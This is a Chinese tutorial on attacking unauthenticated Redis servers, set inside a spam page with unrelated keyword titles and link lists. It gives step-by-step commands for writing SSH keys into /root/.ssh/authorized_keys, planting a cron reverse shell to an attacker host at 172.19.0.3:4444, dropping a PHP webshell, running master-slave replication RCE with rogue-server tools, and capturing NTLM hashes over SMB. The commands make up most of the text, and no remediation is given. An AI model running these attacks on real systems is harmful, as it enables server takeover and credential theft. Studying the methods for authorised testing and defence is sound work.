当前位置: 首页 > wzjs >正文

淄博周村网站建设方案世界建设企业网站

淄博周村网站建设方案,世界建设企业网站,商务网站建设与维护补考试卷,公司网站制作费计入会计什么科目Redis 是一个开源的内存数据结构存储系统,广泛应用于数据库、缓存和消息代理。然而,Redis 部署中的配置错误和缺乏身份验证可能导致严重的安全风险。 Redis 安全风险简介 Redis 以其快速和轻量级的特性而闻名,但默认配置和不当设置可能使其成…

Redis 是一个开源的内存数据结构存储系统,广泛应用于数据库、缓存和消息代理。然而,Redis 部署中的配置错误和缺乏身份验证可能导致严重的安全风险。


Redis 安全风险简介

Redis 以其快速和轻量级的特性而闻名,但默认配置和不当设置可能使其成为攻击者的目标。常见的安全问题包括:

  • 未启用身份验证:Redis 默认不要求密码,攻击者可直接连接。
  • 对外网开放:Redis 默认绑定到 0.0.0.0,允许远程访问。
  • 权限过高:Redis 服务以高权限用户(如 root)运行,攻击者可执行系统级操作。
  • 数据持久化问题:Redis 的持久化机制可能被利用写入恶意文件。
  • 主从复制漏洞:高版本 Redis 的主从复制机制可能被用于远程代码执行(RCE)。

本文将从手动利用和自动化利用两个方面,详细介绍 Redis 渗透测试的思路和方法。


一、手动利用 Redis 漏洞

手动利用 Redis 漏洞需要深入了解 Redis 的配置和命令。以下是几种常见的攻击方法,逐步讲解其原理和操作步骤。

1. 写入 SSH 公钥(开放 SSH 访问)

原理
Redis 的 CONFIG SET 命令允许修改数据库的存储目录和文件名。如果 Redis 以高权限运行,攻击者可以将 SSH 公钥写入目标服务器的 /root/.ssh/authorized_keys 文件,从而获得 SSH 远程访问权限。

步骤

  1. 连接 Redis
    使用 redis-cli 连接目标 Redis 服务器,假设目标 IP 为 172.19.0.2,端口为 6379

    redis-cli -h 172.19.0.2 -p 6379
    

    如果 Redis 未设置密码,可直接进入命令行界面。

  2. 检查权限
    使用 INFO 命令查看 Redis 的运行用户和权限:

    INFO SERVER
    

    如果 Redis 以 root 权限运行,则可以尝试写入系统文件。

  3. 设置存储目录和文件名
    将 Redis 的持久化目录设置为 /root/.ssh/,文件名设置为 authorized_keys

    CONFIG SET dir /root/.ssh/
    CONFIG SET dbfilename authorized_keys
    
  4. 写入 SSH 公钥
    先生成本地 SSH 公钥(假设已生成,位于 ~/.ssh/id_rsa.pub),将其内容写入 Redis:

    SET ssh_key "ssh-rsa AAAAB3NzaC1yc2E... your_public_key"
    SAVE
    

    SAVE 命令会将数据持久化到 /root/.ssh/authorized_keys

  5. 验证 SSH 访问
    使用对应的私钥尝试 SSH 登录目标服务器:

    ssh -i ~/.ssh/id_rsa root@172.19.0.2
    

    如果成功,将获得目标服务器的 root 权限。

注意事项

  • 目标服务器必须启用 SSH 服务,且 Redis 需以高权限运行。
  • 如果目录 /root/.ssh/ 不存在,需确认 Redis 是否有权限创建目录。

2. 写入计划任务(Cron 定时任务)

原理
Linux 系统的计划任务(Cron)允许定期执行脚本。如果 Redis 可以写入 Cron 配置文件(如 /etc/crontab),攻击者可添加恶意任务,执行反弹 Shell 或其他恶意命令。

步骤

  1. 连接 Redis
    同上,使用 redis-cli 连接目标 Redis。

  2. 设置存储目录和文件名
    将存储目录设置为 Cron 配置文件目录(如 /etc/),文件名设置为 crontab

    CONFIG SET dir /etc/
    CONFIG SET dbfilename crontab
    
  3. 写入恶意 Cron 任务
    构造一个反弹 Shell 的 Cron 任务,例如每分钟连接攻击者的监听端口:

    SET cron "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/172.19.0.3/4444 0>&1'"
    SAVE
    
  4. 启动监听
    在攻击者机器(假设 IP 为 172.19.0.3)上使用 netcat 监听:

    nc -lvnp 4444
    
  5. 等待反弹 Shell
    Cron 任务每分钟执行一次,成功后攻击者将收到目标服务器的 Shell。

注意事项

  • 需确认目标系统是否启用了 Cron 服务。
  • 写入的 Cron 任务需符合正确的格式,避免语法错误。

3. 写入 Webshell

原理
如果目标服务器运行 Web 服务,攻击者可通过 Redis 将恶意脚本(如 PHP Webshell)写入 Web 根目录,获得 Web 层面的远程代码执行能力。

步骤

  1. 确认 Web 根目录
    假设 Web 根目录为 /var/www/html/,可通过 CONFIG GET dir 确认 Redis 是否有权限写入该目录。

  2. 设置存储目录和文件名

    CONFIG SET dir /var/www/html/
    CONFIG SET dbfilename shell.php
    
  3. 写入 Webshell
    写入一个简单的 PHP Webshell:

    SET webshell "<?php system($_GET['cmd']); ?>"
    SAVE
    
  4. 访问 Webshell
    通过浏览器或 curl 访问 http://172.19.0.2/shell.php?cmd=whoami,执行任意命令。

注意事项

  • 需确认目标服务器的 Web 根目录和文件权限。
  • Webshell 的内容需根据目标 Web 服务器支持的语言(如 PHP、ASP)调整。

4. 主从复制 RCE(高版本 Redis)

原理
Redis 的主从复制功能允许从节点同步主节点的数据。攻击者可伪装为主节点,通过主从复制协议向目标 Redis 从节点推送恶意模块,从而能够执行命令。Redis 5.0 及以上版本支持模块加载,这使得 RCE 成为可能。

步骤

  1. 搭建恶意主节点
    使用工具如 redis-rogue-server(后文详述)或手动搭建 Redis 主节点。

  2. 设置目标为从节点
    连接目标 Redis,设置为攻击者控制的主节点的从节点:

    SLAVEOF 172.19.0.3 15000
    
  3. 加载恶意模块
    攻击者的主节点推送恶意模块(如 exp.so),目标 Redis 加载后执行代码。

注意事项

  • 需确保目标 Redis 版本支持模块加载。
  • 网络需允许目标服务器与攻击者服务器通信。

5. NTLM Hash 泄露(结合 SMB 攻击)

原理
如果目标服务器运行 Windows 系统,攻击者可利用 Redis 写入恶意文件,诱导系统访问攻击者的 SMB 服务器,从而捕获 NTLM Hash,用于后续破解或传递攻击(Pass-the-Hash)。

步骤

  1. 搭建 SMB 服务器
    在攻击者机器上运行 impacket-smbserver

    python3 smbserver.py SHARE /tmp
    
  2. 写入恶意文件
    使用 Redis 将 UNC 路径写入目标系统的关键文件,诱导访问:

    CONFIG SET dir /tmp
    CONFIG SET dbfilename test.txt
    SET smb "\\172.19.0.3\SHARE\test"
    SAVE
    
  3. 捕获 NTLM Hash
    当目标系统尝试访问 SMB 路径时,攻击者的 SMB 服务器捕获 NTLM Hash。

  4. 破解或利用 Hash
    使用工具如 hashcat 破解 Hash,或通过 impacket 进行 Pass-the-Hash 攻击。

注意事项

  • 适用于 Windows 环境,需确认目标系统是否会自动访问 UNC 路径。
  • 需确保网络连通性。

二、半自动利用:Redis Rogue Server

工具
Awesome-Redis-Rogue-Server

原理
通过伪装 Redis 主节点,利用主从复制协议加载恶意模块(如 exp.so),实现 RCE。

步骤

  1. 准备环境

    • 攻击者机器:172.19.0.3
    • 目标 Redis:172.19.0.2:6379
    • 下载并准备恶意模块 exp.so
  2. 运行 Rogue Server
    在攻击者机器上运行工具:

    python3 redis-rogue-server.py -v -path module.so
    
  3. 配置目标 Redis
    连接目标 Redis,设置存储目录和文件名:

    CONFIG SET dir /tmp
    CONFIG SET dbfilename exp.so
    SLAVEOF 172.19.0.3 15000
    
  4. 触发 RCE
    Rogue Server 将推送 exp.so 到目标 Redis,加载后执行恶意代码。

注意事项

  • 确保模块文件与目标 Redis 版本兼容。
  • 网络防火墙需允许主从复制流量。

三、主从复制自动化利用

准备环境

  • 攻击者机器:172.19.0.3
  • 目标 Redis:172.19.0.2:6379

redis-rogue-server

工具地址
https://github.com/n0b0dyCN/redis-rogue-server

运行工具
在攻击者机器上执行以下命令,指定本地监听 IP 和目标 Redis IP:

python3 redis-rogue-server.py --lhost 172.19.0.3 --rhost 172.19.0.2

redis-rce

工具地址
https://github.com/Ridter/redis-rce

运行工具
执行以下命令,指定目标 Redis IP 和本地监听 IP:

python redis-rce.py -r 172.19.0.2 -L 172.19.0.3

注意事项

  • 需确保攻击者和目标机器网络双向连通。
  • 工具可能因 Redis 版本或配置不同而失败,需结合手动方法排查。
http://www.dtcms.com/wzjs/832681.html

相关文章:

  • vs2017 做c 网站wordpress 吧
  • 我爱建站免费空间怎么做创意短视频网站
  • 学校建设网站做网站总结与体会
  • 厦门建设厅查询网站首页建筑人才网档案查询
  • 网站首页引导页模版类似设计师联盟的网站
  • 网站网站制作多少钱外贸网网站建设
  • 丽水市城市建设投资有限责任公司网站免费服务器的网站有哪些
  • 温州网站推广效果自己写wordpress插件吗
  • 网站制作流程详解(学做网站第一步)wordpress安装主题之后首页不变
  • 中山民众网站建设网站开发微信提现功能
  • 上海住房和城乡建设厅网站Discuz网站制作教程
  • 中方元建设工程 网站备案 网站名称 修改
  • 网站开发人员的岗位有热门活动页面html
  • 电子商务网站建设的展望wordpress 管理
  • 安徽企业网站建设住建部四库一平台查询入口
  • wordpress博客评论删除短视频seo服务
  • 营销网站如何建设中文wordpress网站
  • 网站设计建设公司服务商软件商城哪个好
  • 制作网站商易语言wordpress发帖
  • wordpress网站基础知识软件ui设计软件
  • 网站你懂我意思正能量免费中国建设银行官网首页 网站首页
  • word文档做网站建设银行信用卡账网站
  • 网站建设宁夏凤凰云广州市增城建设局网站
  • 网站编辑面试烟台网站主关键词
  • 电子商务网站体系结构有哪些?网站后台管理图片水印怎么做
  • 分销商管理系统模板网站 seo
  • 成都倒闭的网站建设公司名单怎么在传奇网站上做宣传
  • 网站建设开发报告公司宣传册设计样本免费下载
  • 响应式网站 手机版韶关做网站的公司
  • 沈阳网站建设推广服务传奇游戏